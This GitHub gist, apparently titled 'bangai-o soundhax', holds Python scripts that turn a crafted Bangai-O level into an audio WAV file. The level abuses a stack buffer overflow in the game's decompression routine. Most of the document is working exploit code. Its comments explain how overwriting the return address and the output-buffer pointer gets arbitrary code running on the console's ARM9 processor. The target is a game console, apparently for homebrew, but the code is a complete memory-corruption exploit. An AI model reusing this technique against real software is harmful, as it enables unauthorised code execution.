Last active
July 12, 2024 18:59
-
-
Save smealum/dbc3c04ca8224410d60a to your computer and use it in GitHub Desktop.
bangai-o soundhax
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
import wave | |
import struct | |
# bit0 is a single period sine wave at 1024Hz with a given amplitude | |
# bit1 is the same but with ~2.7 times the amplitude | |
bits = [[0x00, 0x09, 0x12, 0x1A, 0x21, 0x27, 0x2C, 0x2F, 0x30, 0x2F, 0x2C, 0x27, 0x21, 0x1A, 0x12, 0x09, 0x00, 0xF6, 0xED, 0xE5, 0xDE, 0xD8, 0xD3, 0xD0, 0xD0, 0xD0, 0xD3, 0xD8, 0xDE, 0xE5, 0xED, 0xF6], [0x00, 0x18, 0x30, 0x46, 0x59, 0x69, 0x75, 0x7C, 0x7F, 0x7C, 0x75, 0x69, 0x59, 0x46, 0x30, 0x18, 0x00, 0xE7, 0xCF, 0xB9, 0xA6, 0x96, 0x8A, 0x83, 0x81, 0x83, 0x8A, 0x96, 0xA6, 0xB9, 0xCF, 0xE7]] | |
bits[0] = [b^0x80 for b in bits[0]] | |
bits[1] = [b^0x80 for b in bits[1]] | |
bits[0] = struct.pack('%sB' % len(bits[0]), *bits[0]) | |
bits[1] = struct.pack('%sB' % len(bits[1]), *bits[1]) | |
data_fn = sys.argv[1] | |
mode = sys.argv[2] if len(sys.argv) > 2 else "raw" | |
data = open(data_fn, "rb").read() | |
if mode == "level": | |
header = [0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0x0A, 0x02, 0x02] | |
header = struct.pack('%sB' % len(header), *header) | |
header += struct.pack('<HH', len(data), len(data)) | |
data = header + data + struct.pack('<L', sum(data)) | |
open("test.bin","wb").write(data) | |
wav_out = wave.open('noise.wav', 'w') | |
wav_out.setparams((1, 1, 32768, 0, 'NONE', 'not compressed')) | |
for v in data: | |
for i in range(8): | |
wav_out.writeframes(bits[(v>>i)&1]) | |
wav_out.close() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
to generate a noise.wav file which will run code.bin on the arm9 when received : | |
python payload.py payload.bin && python bin2wav.py payload.bin level |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
import struct | |
def rawBlock(d): | |
if len(d) > 0x1F: | |
print("too much data for raw block") | |
return struct.pack('B%sB' % len(d), len(d), *d) | |
def repBlock(length, disp): | |
length -= 2 | |
disp -= 1 | |
if length > 0x1FF or disp > 0xF: | |
print("length or displacement too big for repeat block") | |
code = 0x2000|(disp<<9)|(length) | |
return struct.pack('>H', code) | |
code_data = bytearray(open("code.bin", "rb").read()) | |
if len(code_data)%0x1f > 0: | |
code_data += bytearray([0x00]*(0x1f-(len(code_data)%0x1f))) | |
if len(sys.argv)<=2: | |
code_base = 0x02000000 | |
else: | |
code_base = int(sys.argv[2], 0) | |
code_addr = code_base + 0x824 | |
# first write the address we want to jump to | |
comp_data = rawBlock([(code_addr>>(i*8))&0xFF for i in range(4)]) | |
# then copy it over 0x820 bytes (minus the 4 we already wrote) | |
# the decompression method outputs to a 0x800 fixed size stack buffer | |
# and there's 0x20 bytes worth of pushed registers on the stack | |
# if we copy more we'll overwrite the pointer to the output buffer | |
# which will in turn lead to us overwriting our payload and code... | |
# which is why we should not write more than 0x820 bytes unless we know what we're doing | |
comp_data += repBlock(0x1FC, 0x4) | |
comp_data += repBlock(0x200, 0x4) | |
comp_data += repBlock(0x200, 0x4) | |
comp_data += repBlock(0x200, 0x4) | |
comp_data += repBlock(0x20, 0x4) | |
# turns out we do know what we're doing : we overwrite the destination buffer pointer with the address where we want to put our code | |
# this way we have a fixed code address which will work wherever we trigger the exploit from, and we no longer rely on a heap address that might change | |
overwrite_addr = 0x02000000 | |
comp_data += rawBlock([(overwrite_addr>>(i*8))&0xFF for i in range(4)]) | |
for i in range(0, len(code_data), 0x1f): | |
comp_data += rawBlock(code_data[i:i+0x1f]) | |
comp_data = struct.pack('<L', len(comp_data)) + comp_data | |
header_data = struct.pack('<LLLL', 0x3, 0x0, 0x10, 0x20) # in order : type, dimensions, some data (objects ?) offset, compressed level data offset | |
header_data += struct.pack('<LLLL', 0x0, 0x0, 0x0, 0x0) # "some data (objects ?)" | |
data = header_data + comp_data | |
open(sys.argv[1], "wb").write(data) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment